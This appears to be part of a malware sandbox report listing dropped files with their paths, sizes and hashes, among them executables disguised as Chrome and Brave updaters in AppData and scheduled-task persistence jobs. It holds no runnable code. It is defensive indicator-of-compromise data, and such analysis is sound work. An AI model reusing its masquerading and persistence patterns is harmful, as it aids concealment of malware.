- SHA1 4b91334747d914345b2dae9ff04c9969c08d764c
- SHA512 a1aeb2c2f223bf3402dde82df5bdd30838a63f854ee2748c35bcbc9046cc1616f6064fd392d4542ea5770817ace3404b95e7a5d2e9475112662d96627f205162
- SSDEEP 96:g5qCpM8snqvsqvJCwoA5qCpM8snqvsEHyqvJCworHyKdRQHhn7MIXlUV3:47IUoY7IAHnorHTQn7MI0
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
- Size 7KB
- SHA256 20a1f952db2cc6cd6aed90e26e5795c074160deb791a4cd1b809ffbe381f7df9
- MD5 ba9d855a6609e241e2451d14e11c1509
- SHA1 484a008fb567279ab6e1f37b92dc4b5d2443a5f6
- SHA512 f5e4fb7f2a3cc80990c4a119da2dca03a88d2c9e1d08b9d7ff9b7adf26d80a988ecd821f8e63071b6832f748acec24d4b9427ddd7657ca306a3fbd688713f57a
- SSDEEP 96:g5qCpM8snqvsqvJCwoA5qCpM8snqvsEHyqvJCwor4yKjTQHaM7MIXlUV3:47IUoY7IAHnor43zM7MI0
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Tasks\dialersvc32.job
- Size 1KB
- SHA256 3dd7c8ebc2bf740c2b782d078972db27dac86d259a9de3f0a2e216e3a8330df7
- MD5 41c4b9fe1b2457dd470feae9cfa15bca
- SHA1 f46ccc93eed5d869135e0b50c221b50507bde610
- SHA512 9d32cc0d347c4fed32ab7c5dcfbe017fc1f48ce8e69bae3b2f78f66bc47d7e1ec9070c87051ed4aaffbe39f1d16159f14dae55ed55fb8335aa82d8d242c2a710
- MD5 SHA1 SHA512
- Path C:\Windows\Tasks\dialersvc64.job
- Size 1KB
- SHA256 cbefc8b7ca9224217d06a7d5579e90112bce845666402de7fc43019eec599ec6
- MD5 989256d4e61647e4bab8170cf456ea00
- SHA1 78dff69b21a81c107c538a11b48e749c67251083
- SHA512 8bbfe902a1a5df7255e07a0713685e0e647db9212f1e46dc2b9e52843e8a20c219fa7d6168f5a50c0dda45749cd40ac739ed5e6bdd55270e72b1a7eea15f2d7b
- MD5 SHA1 SHA512
- Path \Program Files\Google\Chrome\updater.exe
- Size 2.8MB
- SHA256 9c01d90543458567c4737731ee6754cc209e4bb78ff648eb75c4d23be261ef2f
- MD5 eb27bb8cfa99d659e4fe023e9002ecd1
- SHA1 c783400302fdfae0518269c5a5a8d4bad29f42a3
- SHA512 ab5ad3c094ed1f094aa82d80d298e6d0ab15a94b58b007dbe8a6219fe8498569b5d9013d770bd9910f177f94f2639d84650655e8f60113051e98b386c49c36a2
- SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Microsoft\brave.exe
- Size 2.8MB
- SHA256 78e0a8309bc850037e12c2d72a5b0843dcd8b412a0a597c2a3dcbd44e9f3c859
- MD5 9253ed091d81e076a3037e12af3dc871
- SHA1 ec02829a25b3bf57ad061bbe54180d0c99c76981
- SHA512 29ff2fd5f150d10b2d281a45df5b44873192605de8dc95278d6a7b5053370e4ac64a47100b13c63f3c048df351a9b51f0b93af7d922399a91508a50c152e8cf4
- SSDEEP 49152:xkWZLeZVfE7GQFHJUXhr3o2AmO+gpMsv6gFcPJBpaAo1AIU7LXPyPZTzeRJ38AoW:xL1eY7bFpUxr3fAjAVRJBpPAUPyBnUy6
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Microsoft\ofg.exe
- Size 4.8MB
- SHA256 fc8db07536652808292ddca99645f2e64431baf7f72ba1a8d358229e16fafbd8
- MD5 cd4ac234ee1c9fca552d11ff31b9c5cc
- SHA1 e3448c185bdf0e0a0859f2b28d1b5f28c38a0064
- SHA512 d07048d1359350c9913d2727cb40969383eaca0593b7395d2c51435e0defaa91f4c95f038bb1877847d520efa0150359860036f6e6e1c3e2ece24bc4ff8c6b9f
- SSDEEP 49152:tAM3CiGxBRJHy51FmJgBaShRgd5MYh43VvATtg0IEqYjla27VdS5g+A:aMLGxBk1FmJgX2l4lv3EdZv+A
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Microsoft\ofg.exe
- Size 4.8MB
- SHA256 fc8db07536652808292ddca99645f2e64431baf7f72ba1a8d358229e16fafbd8
- MD5 cd4ac234ee1c9fca552d11ff31b9c5cc
- SHA1 e3448c185bdf0e0a0859f2b28d1b5f28c38a0064
- SHA512 d07048d1359350c9913d2727cb40969383eaca0593b7395d2c51435e0defaa91f4c95f038bb1877847d520efa0150359860036f6e6e1c3e2ece24bc4ff8c6b9f
- SSDEEP 49152:tAM3CiGxBRJHy51FmJgBaShRgd5MYh43VvATtg0IEqYjla27VdS5g+A:aMLGxBk1FmJgX2l4lv3EdZv+A
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Microsoft\setup.exe
- Size 5.9MB
- SHA256 55af8940100b432c2873c1b4ec0068516ec9459ae313fd1d3ac2957ef7abe033
- MD5 96cbbd2930425374e0d2d6e251be9834
- SHA1 7870a26f33469c4cef96cecd4e0b20c82fa4e1af
- SHA512 0753d1b927b76b8765ae7657f5cb339eb861c2c6f567dd40cb51dc17f76287ea061236723278a6c06fc29d6452243e12213ccfbd3236d4709719a0104554b0a9
- SSDEEP 98304:UJlQcZOWdS58SUxTzskoHi3a7UpYLzwnGuqfkIF8RK2qBHNp6mgC6ZwECQ0em5v8:UJltOuS54xTzs5XTLFBfkJ42qBtpJ2wU
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Temp\nsj2E62.tmp\nsExec.dll
- Size 7KB
- SHA256 1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906
- MD5 675c4948e1efc929edcabfe67148eddd
- SHA1 f5bdd2c4329ed2732ecfe3423c3cc482606eb28e
- SHA512 61737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683
- SSDEEP 96:J9zdzBzMDByZtr/HDQIUIq9m6v6vBckzu9wSBpLEgvElHlernNQaSGYuH2DQ:JykDr/HA5v6G2IElFernNQZGdHW
- MD5 SHA1 SHA512 SSDEEP
- Path \Users\Admin\AppData\Local\Temp\nsj2E62.tmp\nsExec.dll
- Size 7KB
- SHA256 1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906
- MD5 675c4948e1efc929edcabfe67148eddd
- SHA1 f5bdd2c4329ed2732ecfe3423c3cc482606eb28e
- SHA512 61737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683
- SSDEEP 96:J9zdzBzMDByZtr/HDQIUIq9m6v6vBckzu9wSBpLEgvElHlernNQaSGYuH2DQ:JykDr/HA5v6G2IElFernNQZGdHW
- MD5 SHA1 SHA512 SSDEEP